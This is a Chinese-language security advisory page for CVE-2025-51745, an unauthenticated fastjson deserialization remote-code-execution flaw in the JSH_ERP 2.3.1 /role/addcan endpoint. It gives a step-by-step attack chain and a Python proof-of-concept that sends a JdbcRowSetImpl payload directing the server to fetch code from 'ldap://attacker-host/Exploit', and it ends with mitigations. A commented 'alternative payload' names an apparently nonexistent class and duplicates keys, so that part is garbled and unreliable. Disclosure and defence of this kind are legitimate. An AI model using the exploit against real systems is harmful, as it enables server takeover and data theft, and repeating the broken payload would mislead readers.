IPBUF安全漏洞报告
English
CVE-2025-51745 CVSS 9.8 严重

CVE-2025-51745 jishenghua JSH_ERP fastjson反序列化远程代码执行漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-51745
漏洞类型
远程代码执行(RCE)/反序列化漏洞
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jishenghua JSH_ERP

相关标签

CVE-2025-51745fastjson反序列化远程代码执行JNDI注入JSH_ERP企业管理系统无需认证CVSS 9.8严重漏洞Java漏洞

漏洞概述

CVE-2025-51745是jishenghua JSH_ERP企业管理软件中的一个严重安全漏洞。该漏洞存在于JSH_ERP 2.3.1版本的/role/addcan接口中,由于使用了存在安全问题的fastjson库进行JSON反序列化处理,攻击者可以通过构造恶意的JSON序列化数据,在服务器端实现任意代码执行。fastjson反序列化漏洞是Java应用中常见的高危漏洞类型,攻击者利用特制的序列化对象可以绕过常规的安全防护,直接在服务器上执行系统命令。由于该漏洞无需认证即可利用,且CVSS评分高达9.8分(严重级别),对使用该系统的企业构成了极大的安全威胁。JSH_ERP是一款开源的企业资源计划系统,广泛应用于各类中小企业的日常管理中,因此该漏洞影响范围较广,需要尽快采取修复措施。

技术细节

该漏洞的根本原因在于JSH_ERP应用在处理/role/addcan接口的请求时,使用了存在反序列化安全问题的fastjson库进行JSON数据解析。Fastjson是阿里巴巴开源的一个Java JSON解析库,其早期版本存在反序列化漏洞,攻击者可以通过构造特定类型的JSON数据(如@type字段指定恶意类),在反序列化过程中触发恶意类的getter/setter方法或构造函数,从而执行任意代码。在JSH_ERP的2.3.1版本中,系统直接使用用户可控的输入进行fastjson反序列化,没有对反序列化类进行白名单限制。攻击者通常利用com.alibaba.fastjson.JSON.parseObject()或类似方法,配合特定的恶意类(如com.sun.rowset.JdbcRowSetImpl、org.apache.shiro.jndi.JndiObjectFactory等)构造JNDI注入或命令执行payload,成功利用后可获得服务器完全控制权。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用的JSH_ERP版本为2.3.1,并确认/role/addcan接口存在且可访问
STEP 2
步骤2: 构造恶意payload
攻击者构造包含@type字段的恶意JSON数据,利用fastjson反序列化漏洞,指定如JdbcRowSetImpl等恶意类实现JNDI注入
STEP 3
步骤3: 部署攻击服务器
攻击者搭建LDAP服务器(如使用marshalsec工具)和恶意Java类,等待目标服务器发起JNDI查询
STEP 4
步骤4: 发送攻击请求
攻击者向目标服务器的/role/addcan端点发送POST请求,包含构造的恶意序列化payload
STEP 5
步骤5: 触发反序列化
目标服务器使用fastjson解析JSON数据,触发反序列化过程,实例化恶意类并执行构造函数或setter方法
STEP 6
步骤6: JNDI注入执行
服务器向攻击者的LDAP服务器发起JNDI查询,获取并执行恶意Java类代码,实现远程代码执行
STEP 7
步骤7: 获得服务器权限
成功执行系统命令或反弹Shell,获得目标服务器的完全控制权,可进行数据窃取、横向移动等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-51745 PoC - Fastjson Deserialization RCE in JSH_ERP # Target: /role/addcan endpoint target_url = "http://target-host/JSH_ERP/role/addcan" # Malicious payload for fastjson deserialization # Using JdbcRowSetImpl for JNDI injection payload_template = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-host/Exploit", "autoCommit": True } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(target_url, json=payload_template, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Alternative payload using com.rometools.rome.feed.impl.ClosurePoJOM for command execution: # {"@type":"com.rometools.rome.feed.impl.ClosurePoJOM","@type":"java.lang.ProcessBuilder","cmd":["calc.exe"]} # For actual exploitation, use tools like marshalsec for LDAP server and ysoserial for generating payloads

影响范围

jishenghua JSH_ERP 2.3.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 在网络层限制对/role/addcan等敏感接口的访问,只允许受信任的IP访问;2) 部署Web应用防火墙规则,检测并拦截包含@type字段的JSON请求;3) 临时禁用或限制fastjson的使用,改用其他安全的JSON库如Jackson或Gson,并配置反序列化白名单;4) 加强服务器网络安全策略,限制出站LDAP和RMI连接,防止JNDI注入攻击被利用;5) 对JSH_ERP系统进行隔离部署,避免与其他关键业务系统在同一网络区域。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表